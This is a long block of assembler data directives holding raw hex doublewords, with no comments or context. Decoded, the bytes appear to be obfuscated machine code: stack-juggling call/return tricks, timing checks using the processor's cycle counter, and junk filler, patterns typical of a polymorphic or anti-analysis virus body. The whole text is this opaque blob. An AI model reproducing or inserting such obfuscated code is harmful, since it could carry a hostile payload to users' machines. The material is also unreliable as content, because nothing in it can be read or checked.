		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B529868Ah
		dd 6372B39h, 6A04E180h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0A7AFC350h,	0C4E2BBBBh
		dd 0C90A3257h, 12A840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C107C7C3h, 28D9B529h
		dd 12E80637h, 27000000h, 6D7F9AE8h, 1E559D01h, 26D4BA62h
		dd 6ECBE2C0h, 8DD38119h, 5F4AD729h, 2F45858Bh, 81660637h
		dd 3307E7D3h, 37130185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 18057CA1h, 0C2226798h
		dd 0F50F871h, 0E81h, 0B3525000h, 50310F0Bh, 5A310F52h
		dd 89585A58h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 7B5528C3h, 0AAB7AEE8h, 8B66FE4Eh
		dd 66006AFAh, 68E2A0BFh, 37E5D9F7h, 32BF6650h, 34815BFEh
		dd 0FADA0824h, 51006A37h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0FF6BEA05h, 372B2595h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0F64E1245h, 18D8979h, 89063704h,	3AB15B85h
		dd 0B7C78106h, 0E9134190h, 1BEh, 0B153858Bh, 6A063Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 870F76C3h, 2, 5B56FB8Bh, 1800C7h, 6E80000h, 84000000h
		dd 6A98A556h, 0EE831h, 65CF0000h, 469801EEh, 6C39F45Fh
		dd 0DD7B0844h, 116D9589h, 5B5B0637h, 7E9h, 20C3E100h, 96112EDBh
		dd 0B157B58Bh, 8B66063Ah, 952960F9h, 6372E45h, 2BC1BD8Bh
		dd 8B610637h, 370D8D85h, 9DC38006h, 95310689h, 6371D51h
		dd 2F45858Bh, 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 2E6456C3h, 60B92CC4h, 133D8D89h
		dd 81660637h, 61F21BE7h, 8918F380h, 8B660446h, 0C2BF50FAh
		dd 896FAA5Ah, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0C7421EC3h, 0FE49B0A9h, 28E0F27h
		dd 8B000000h, 53B5FFD8h, 0FC063AB1h, 3E432F68h,	1A8C0F37h
		dd 60000000h, 0E8CB8B66h, 0Fh, 0F99356CAh, 84235FCBh, 7B83D1E8h
		dd 5E8B2CCEh, 24348161h, 372140D0h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0F1C35747h,	858DB623h, 63AB15Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0D6C35040h
		dd 0F88AD1F6h, 7ED9D8Bh, 66900637h, 5099EBBFh, 3390DF8Bh
		dd 370D31BDh, 2595FF06h, 6A06372Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 33B1C355h
		dd 58D444B8h, 0BD018F08h, 6372A9Dh, 1AD5BD8Bh, 8B610637h
		dd 3700119Dh, 8185C706h, 306370Fh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 19AAC350h, 11969305h, 0AD85296Eh, 8306371Fh,	3AB15BBDh
		dd 840F0006h, 52h, 14E9h, 5BD11000h, 0C2E5E8D8h, 2AA6C04Ah
		dd 0A50E58h, 0E7074D71h, 84F381E8h, 0E955FED7h,	49h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 10C35646h, 10B9956h
		dd 8E0F1293h, 6, 890Fh,	30500000h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 21C15EAh, 6AFC3D66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B06BC351h, 0BD8B801Bh, 637208Dh,	0F81BD83h
		dd 0F030637h, 49685h, 83DE8A00h, 3AB15BBDh, 840F0006h
		dd 487h, 11E9h,	807C0600h, 1B53BFF1h, 0B6D34D05h, 6F976D0Dh
		dd 8D29F446h, 6371B31h,	0B15BB5FFh, 6A063Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 53AEACC3h
		dd 8B534158h, 3713959Dh, 95FF5F06h, 637335Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 43C35646h, 29851C66h
		dd 0F9F9E7B5h, 0B14FB58Bh, 6A063Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 29E5B0C3h
		dd 3700D5B5h, 106C706h,	6A000100h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 359EC357h
		dd 0B3540764h, 8B669645h, 0DC8A50D8h, 55006A96h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0B5FFA5E3h, 63AB15Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 66C35343h, 3790FC5Dh,	7FFB549Fh, 0CE9h
		dd 0FFAF3E00h, 0F4D25539h, 5A703542h, 3D95FF5Fh, 0E9063718h
		dd 0Ah,	614B2A4Bh, 42C56CA8h, 8BF5C11Ch, 3AB14FB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 22C58C83h, 8B3B3C68h, 3705B585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0B540719Dh
		dd 0F6F9B438h, 860FFDC2h, 2, 8689F88Bh,	0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 82C35747h, 0AE9F9h
		dd 74DC0000h, 0DD1330D5h, 5E4E4AD8h, 1875958Bh,	0CF800637h
		dd 4C283EDh, 420D9BBFh,	20508912h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 91C35747h, 3C5A67C0h, 858D0B0Dh
		dd 63AC5D5h, 17850Fh, 12E90000h, 3F000000h, 29A97E51h
		dd 54A47BC1h, 7E316BAEh, 44386589h, 0B8868954h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0A179C355h, 43B27637h, 6820F3Ah, 9000000h
		dd 370C959Dh, 0E9006A06h, 0Ch, 0A2FE4AE8h, 8AAFA342h, 826296A2h
		dd 0B15BB5FFh, 0BD23063Ah, 6372AADh, 0BB995FFh,	50F80637h
		dd 10E8h, 0F5727900h, 855491DAh, 0AF6AF6D1h, 0F32DE06Bh
		dd 8E983h, 0E2D20000h, 23D5F975h, 895F83FAh, 6A2434h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 977B4AC3h, 0B774E1FDh, 5BB5FFE0h, 6A063AB1h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 7C5C351h, 336B77BBh,	4D95FF2Dh, 6A06372Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 6FABC350h, 10E9h, 9F1AE100h,	27E08D1h, 8FB8F400h, 3B3DBA85h
		dd 0E9BD8328h, 63719h, 44840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 6B60E2C3h
		dd 68F0FD3h, 8B000000h,	3717B1BDh, 0F98B9606h, 0F525050h
		dd 8D0F5231h, 0
		dd 96585A5Bh, 11F1BD8Bh, 0B5FF0637h, 63AB15Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8EC35545h, 0EB988C48h
		dd 66471AB9h, 0E8B9C1BBh, 0Dh, 26C59896h, 0A4A3B117h, 0F2F669FCh
		dd 5950606Bh, 25CD8531h, 5B610637h, 9AD95FFh, 85890637h
		dd 6372B45h, 0B15BB5FFh, 6A063Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 2060B1C3h, 95FF7E5Eh
		dd 6370B75h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0ECC35545h, 13F78166h, 9BD83CBh, 2063704h, 32840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 85317DC3h, 6370CA1h, 1171858Bh, 0B5290637h
		dd 6370A95h, 0F80000C6h, 31D585C7h, 637h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 88DC09C3h, 9A19C9D2h, 0E9E3B2D6h, 0FFFFF2D6h, 9DBD8951h
		dd 5B06370Bh, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 816656C3h, 8DD6F8C3h, 37088585h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0F85A6B99h, 9072869Ch, 0EE950h, 469F0000h
		dd 73040624h, 0A21847Ah, 0BFD9175h, 559D8B90h, 6A063701h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0C20427D9h, 0B5897873h, 6371A6Dh, 21FD9529h
		dd 6A0637h, 8DD98B66h, 3BB05D85h, 1EBBF06h, 0C08320B8h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 16F2230Dh, 48329B6Ch, 6820F20h, 33000000h
		dd 3728B5BDh, 39BF5006h, 890906F7h, 81662404h, 6ABADFD7h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0D1C8A0B8h, 0DD7E1DE3h, 6A3515h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D1C35343h, 0D63AB217h
		dd 0AED95FFh, 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 52F3A6C3h, 568DB984h, 8D5BFA8Bh
		dd 3AA1358Dh, 1CC38106h, 0FF47C46Fh, 0F1B509D1h, 0E9063703h
		dd 0Bh,	22966262h, 63D26A1Bh, 835C9BA6h, 37089DBDh, 850F0106h
		dd 78h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 0CCC35242h, 892B2286h, 3700AD85h, 6A026A06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0FBB7C356h, 3F3F8BB0h, 8DB33143h, 0DBF7BB50h, 4896876h
		dd 0B995FF24h, 0F06370Bh, 178Ch, 12E900h, 0A6A40000h, 0D5164D46h
		dd 0EB700C6Ah, 26F16911h, 8FE2DC9Bh, 0D84E9h, 0E800h, 815D0000h
		dd 3BB067EDh, 0BE906h, 637B0000h, 28048559h, 0B651AA7h
		dd 0CDBD8B0Dh, 8D06370Fh, 3A84C385h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BD13114h
		dd 3720A5BDh, 0BF565006h, 4E8D009Eh, 2404895Bh,	19119D8Bh
		dd 0B70F0637h, 35FF64FEh, 0
		dd 6216CABBh, 2589645Eh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 55C35545h
		dd 94C60EDh, 130DB529h,	85FF0637h, 6372A7Dh, 0BFFF6AFCh
		dd 282B2CE8h, 1CE1B5FFh, 6A0637h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 958957C3h, 63730D1h
		dd 0ED95FFh, 24E90637h,	66000001h, 7E49EF81h, 8B6000B0h
		dd 371305B5h, 70E66106h, 7681E781h, 71E460B9h, 0C8DB529h
		dd 613C0637h, 0FD830Fh,	9D8B0000h, 6372A81h, 0BAC8B60Fh
		dd 6, 8BDBF380h, 4E8C1C1h, 0EE8h, 0E3E22800h, 0ADD73CA4h
		dd 4F810D02h, 895461BFh, 3726419Dh, 0F7665F06h,	0CFDFBFE2h
		dd 0C82B3FE0h, 9589D18Bh, 6372D5Dh, 40D8589h, 0B0E90637h
		dd 0E9000000h, 9, 4E2D1D60h, 931BB17Fh,	8858B2Ch, 66000000h
		dd 0C083DE8Bh, 0F7816607h, 0C083D354h, 0D88B6600h, 830FD03Bh
		dd 16h,	9FDB589h, 78E90637h, 50000000h,	5B18EB80h, 0B69BD8Bh
		dd 8D8B0637h, 0FFFFFFFFh, 23B2C381h, 0E1832EA4h, 58840F01h
		dd 0F000000h, 98Dh, 3850F00h, 0F000000h, 0A583F8B7h, 0FFFFFFFFh
		dd 12E9FEh, 23D40000h, 9F1B7DABh, 651462E8h, 0E4A9885h
		dd 8F07E5C7h, 89589h, 8D0F0000h, 3, 0E9DBB70Fh,	12h, 0B3CFA783h
		dd 0A63F3CCCh, 407E56FFh, 0EEACA2F8h, 0E9B76Ah,	8D000000h
		dd 3B3460B5h, 4DBD8B06h, 6A06371Bh, 0F383BF00h,	95FF476Eh
		dd 6373219h, 2B51B501h,	0D3B90637h, 8000000Eh, 0E18344E7h
		dd 52006AFCh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 93C9FC04h, 0DFD41BBh, 1D9D8B1Bh,	0FC063704h
		dd 1301BF66h, 0B8h, 359D0900h, 0BA063726h, 0
		dd 8E860h, 56180000h, 0AC80E1D1h, 12E9C844h, 0CB000000h
		dd 837FD023h, 2FEFDF49h, 5C1381E9h, 5809CDC8h, 8B665B27h
		dd 33AD61D9h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D8B8DC3h
		dd 6372635h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	1CC35242h, 0FC8E73D8h, 2307493Bh, 0F59D8BECh, 0D06371Fh
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah
		dd 2DC35343h, 3E187B25h, 0DB81CA3Ah, 56A22707h,	1875958Bh
		dd 9D310637h, 63708A9h,	11958D8Bh, 0DF810637h, 879CD76h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A3AE7CC3h, 0F421063Bh, 8B0FB76Bh, 15h, 9E8h, 0F4D90E00h
		dd 0C45685C3h, 810F1714h, 0
		dd 55BD835Bh, 6372Dh, 6F840Fh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 74FCA1C3h
		dd 0B844B5h, 23000000h,	3705199Dh, 2B8D8D06h, 8906374Eh
		dd 37202D85h, 6AE1FF06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 969AC353h, 0FD15C4Ah
		dd 0EE9BAF7h, 0CE000000h, 0F359C912h, 0BE89590Fh, 5B1AA508h
		dd 81BD838Bh, 6370Fh, 438840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 354FD7C3h
		dd 0EDA56DDBh, 11A9B589h, 8B660637h, 81BD83FBh,	106370Fh
		dd 41B840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 2C0B5EC3h, 555B6CD6h, 66C7178Ch
		dd 83D6DCBFh, 370F81BDh, 860F0306h, 3AFh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 0CC35141h, 2A55C17Bh
		dd 0C860F15h, 0F000000h, 684h, 0D19D8B00h, 6006371Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 12C35747h, 1FB5BD89h
		dd 0BF0F0637h, 0D98C66DBh, 1BC99D8Bh, 0E1800637h, 79BD8B04h
		dd 0A06370Eh, 0DE840FC9h, 8B000000h, 370C71BDh,	45858B06h
		dd 8106372Fh, 786BB9C3h, 0FB8B6625h, 13018533h,	0BD890637h
		dd 6371C3Dh, 0BB665090h, 6A9024D2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 735AC357h
		dd 35BD03F0h, 6A06371Eh, 68FA8B00h, 0E0E4DD52h,	0AD240481h
		dd 6A1F3A26h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 140AC356h, 69B5898Dh, 0FF06372Fh
		dd 372B2595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 37556C58h, 6830F4Ah, 29000000h, 371F7DB5h
		dd 5B858906h, 0F063AB1h, 48Eh, 9ABF6600h, 21AE9E6h, 10E90000h
		dd 0D0000000h, 15666A67h, 0E6ECE940h, 0BEB0A8A5h, 8B01EF51h
		dd 53858BF9h, 89063AB1h, 371F1D85h, 1800C706h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 8F56C355h, 0F8BF0FD3h, 0B6DB8166h, 57B58B35h
		dd 0F063AB1h, 858BFEB7h, 6370D8Dh, 0EB098FBFh, 51068970h
		dd 8A98BF66h, 45858B5Bh, 6A06372Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 85B6C353h
		dd 79EFD92Bh, 4188017Eh, 6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66D3C355h
		dd 0E996D98Bh, 0Fh, 7C48DE44h, 0DB12A062h, 79658070h, 5076F934h
		dd 9BA9BB66h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 8279D4Bh,	5E9E4h,	638E0000h, 0FFDC68C2h
		dd 3AB153B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 2A493489h, 9BAF1A11h, 8D8982D7h
		dd 6372EA9h, 4E8h, 1F03FF00h, 3820F00h,	66000000h, 0E850FB8Bh
		dd 0Ch,	0FE9D60A4h, 53B0B313h, 556453FAh, 5F5F5250h, 24448B5Bh
		dd 8A008B04h, 244489FCh, 0BE904h, 0FA300000h, 38CA8C92h
		dd 0B0E8DDA3h, 6A587Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0F3066DC3h, 0A1C3F032h, 0F5055D9h
		dd 68Ah, 219D2B00h, 5B06371Eh, 0B15B858Dh, 6A063Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 606776C3h, 5107D746h, 0DE9h,	77A9B400h, 41D7B057h, 0A324E948h
		dd 665044A9h, 892F21BBh, 85892404h, 63722A9h, 2B2595FFh
		dd 6A0637h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 294801C3h, 0BD89C572h, 637294Dh, 2DBD0361h
		dd 0C7063707h, 370F8185h, 306h,	11E85000h, 4F000000h, 0D084CBD0h
		dd 29B928D6h, 0BF13471h, 9E91C419h, 9E8h, 0D0883A00h, 0A3D108EAh
		dd 5F5F6884h, 5BBD835Bh, 63AB1h, 15840Fh, 0DF8B0000h, 29E9h
		dd 0D0816000h, 4DE3CD58h, 29658D89h, 50610637h,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BD89C08Bh
		dd 6372D91h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	48C35646h, 37CF7F1h, 53327B87h,	0C7EB8166h, 0BD835B63h
		dd 6370F81h, 8F850F03h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6E7AC353h
		dd 0A396059Ah, 0DC5F5EA3h, 1F698529h, 0BD830637h, 63AB15Bh
		dd 57840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 74ADC350h, 9D0B0C24h
		dd 6370821h, 0B15BB5FFh, 8B66063Ah, 5D95FFDEh, 53063733h
		dd 0B5E2F2BBh, 0B58B5F5Ah, 63AB14Fh, 28D9BD2Bh,	6C70637h
		dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0EC35040h, 67A25589h, 0FCF8166h, 50609658h, 0F28B6652h
		dd 7E8310Fh, 0D7000000h, 2D68C943h, 5A5BC12Bh, 5E96058h
		dd 0FB000000h, 0E1362C6Bh, 310F5250h, 6161585Ah, 50525050h
		dd 0CBAFBB52h, 310F6A0Dh, 585A6160h, 8C0F310Fh,	0Ch, 7E9h
		dd 62DEDE00h, 0B766ACFAh, 6A96585Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 6EE6C356h
		dd 0BC00FA4Eh, 9D8BFBC2h, 6372F5Dh, 0B15BB5FFh,	7E8063Ah
		dd 6A000000h, 227A79B3h, 0E3810D17h, 2D1EC314h,	3D95FF5Bh
		dd 66063718h, 8BA31BBBh, 3AB14FB5h, 8E906h, 0EE7B0000h
		dd 880236BFh, 858BDF08h, 63705B5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0FDC35545h,	0C48689F3h, 29000000h
		dd 371F75BDh, 75958B06h, 66063718h, 0C283DA8Bh,	53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0DDBD8BE9h, 8906372Dh, 6A2050h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 86B349C3h, 0D8BF0F9Fh
		dd 8DDF8B66h, 3AC5D585h, 0DA8B6606h, 0B88689h, 11E90000h
		dd 0A3000000h, 778E1C41h, 0E4293222h, 0D79534B5h, 86C7198Ch
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0F04370C3h, 0DE5D28EAh, 8D017327h, 6372291h
		dd 0B15BB5FFh, 0BD89063Ah, 6370895h, 10E960h, 4C2D0000h
		dd 12C6E424h, 0E27DD0B1h, 64CE43E6h, 0FE9EDE6h,	0C4000000h
		dd 43726728h, 9E2AF47Ah, 76641EFFh, 0FF6155F1h,	370BB995h
		dd 68F0F06h, 81000000h,	0A82672DFh, 10E8961Dh, 0F8000000h
		dd 77D4F147h, 53D2BA18h, 0A089139Ch, 0F99D673h,	682h, 0F525000h
		dd 5F585A31h, 96FB8B50h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 0A9C35141h, 8A9532F6h, 5BB5FFF9h, 6A063AB1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0BB78C352h, 891BD70Ah, 38BA3E98h,	0E9BD41BBh
		dd 0FA8B666Ch, 2E4D95FFh, 6A0637h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 87D7C6C3h, 8B88571Fh
		dd 3700AD9Dh, 0E9BD8306h, 63719h, 2F840Fh, 0F7800000h
		dd 0AE971h, 0E5A60000h,	81F75CF0h, 3F7DA711h, 0E9525050h
		dd 7, 5A99179Eh, 0FAF5BBEh, 5F89BB31h, 585A3D53h, 0B7243489h
		dd 5BB5FF2Dh, 60063AB1h, 8A1858Bh, 858B0637h, 6371C09h
		dd 0AD95FF61h, 6A063709h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 79FBC350h, 886DA4F2h
		dd 5BB5FF5Dh, 6A063AB1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 40D3C357h, 0A7BF37C7h
		dd 0FF46B3A3h, 370B7595h, 358D8906h, 8B063700h,	371F199Dh
		dd 9BD8306h, 2063704h, 81840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2C13EC3h
		dd 0EB270659h, 893E2FEEh, 37041D95h, 71858B06h,	0F063711h
		dd 0C6D9B7h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0ACB3AFE2h, 0E86F3909h, 34BF6612h
		dd 0E96056BEh, 13h, 4D0F8747h, 7C31D9C5h, 9C010A35h, 999D9D79h
		dd 89161FC0h, 37256DBDh, 0C75B6106h, 3731D585h,	6, 0FEB70F00h
		dd 14E8h, 0F3001700h, 423FB884h, 0A3F7BEDEh, 6A4A8C12h
		dd 0C4A8898Bh, 91BB66F6h, 56E95B09h, 6AFFFFF3h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E9A9C350h, 12h, 29E8ECEBh, 84A7B252h, 1ACB1E7Ch, 0AEBD3541h
		dd 0C18B7D32h, 8BE0F380h, 85858DD9h, 6A063708h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 4AAC352h, 9570F6A7h,	11E9h, 3205BE00h, 684EAC02h, 42957138h
		dd 5510F34Ch, 0E9907573h, 6, 3334212h, 5050EE2Ch, 0BF310F52h
		dd 4C869A18h, 6A90585Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0F97EC352h,	3C6240C8h
		dd 543C3375h, 30699D8Bh, 6A0637h, 0F3816660h, 6A6158DFh
		dd 0DDB8100h, 8D19F31Ch, 3BC00D85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 148DA412h
		dd 36FBEDBEh, 8905C083h, 373039BDh, 0CBF5006h, 891104FCh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 9E35F8C3h, 0B809610h, 8955D81Eh, 372AC195h
		dd 0F006A06h, 48Fh, 3EBB6600h, 81006AE2h, 5DBC3AF7h, 0ED95FF66h
		dd 6A06370Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0DC96C351h, 5516CDAFh,	358D8D59h
		dd 6A063AA1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0B5B6C357h, 8589F95Eh,	6370819h
		dd 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD83D4C3h, 637089Dh, 9D850F01h, 0E9000000h
		dd 7, 0CF57EC68h, 6AD14D63h, 8D236002h,	6372F81h, 10E9h
		dd 30546600h, 27340F98h, 0C5758679h, 385D4AF1h,	6090618Ch
		dd 59FE8B53h, 1DB95250h, 0F217728h, 11E831h, 35CD0000h
		dd 625C6D1h, 8559637Bh,	1AA72804h, 5E0D0B65h, 5061585Ah
		dd 633A90BBh, 6A9035h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0FF1B63C3h, 370BB995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0E34D15E5h, 0D9CE9h,	0E800h,	815D0000h, 3BC017EDh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0B0FBB735h, 433F3F8Bh, 858DA631h, 63A84C3h, 50FA8B66h
		dd 489DF8Bh, 3D9D8924h,	64063713h, 35FFh, 95290000h, 6372BB9h
		dd 258964h, 60000000h, 3870Fh, 0BF0F0000h, 0CE9D0h, 0BF340000h
		dd 7D6CA03Ch, 13B22666h, 0FF61E247h, 372A7D85h,	559D8B06h
		dd 6A063704h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0E9BD8BDFh, 89063716h, 3729F98Dh
		dd 61B5FF06h, 1063729h,	370781B5h, 0ED95FF06h, 0E9063700h
		dd 0FAh, 2F359D8Bh, 9D090637h, 6371AC9h, 9D8B00B0h, 63717B5h
		dd 0BD8B70E6h, 6372EE5h, 6671E4F9h, 3C7032BFh, 0CF830F61h
		dd 2B000000h, 37233D9Dh, 0C8B60F06h, 6BAh, 0C18BFC00h
		dd 0C1FBBF0Fh, 0CE804E8h, 0F1000000h, 126F0364h, 0CDCE0AE0h
		dd 0E931C13Fh, 6, 0F2A1FAA9h, 665FBFFCh, 850FE2F7h, 6
		dd 1961BD29h, 0C82B0637h, 0D18B2FB7h, 25F1B531h, 7BE90637h
		dd 8B000000h, 185h, 118D2900h, 83063713h, 8A0F07C0h, 4
		dd 0E080BB66h, 0C083FCh, 830FD03Bh, 17h, 0CD9D8B50h, 5F063731h
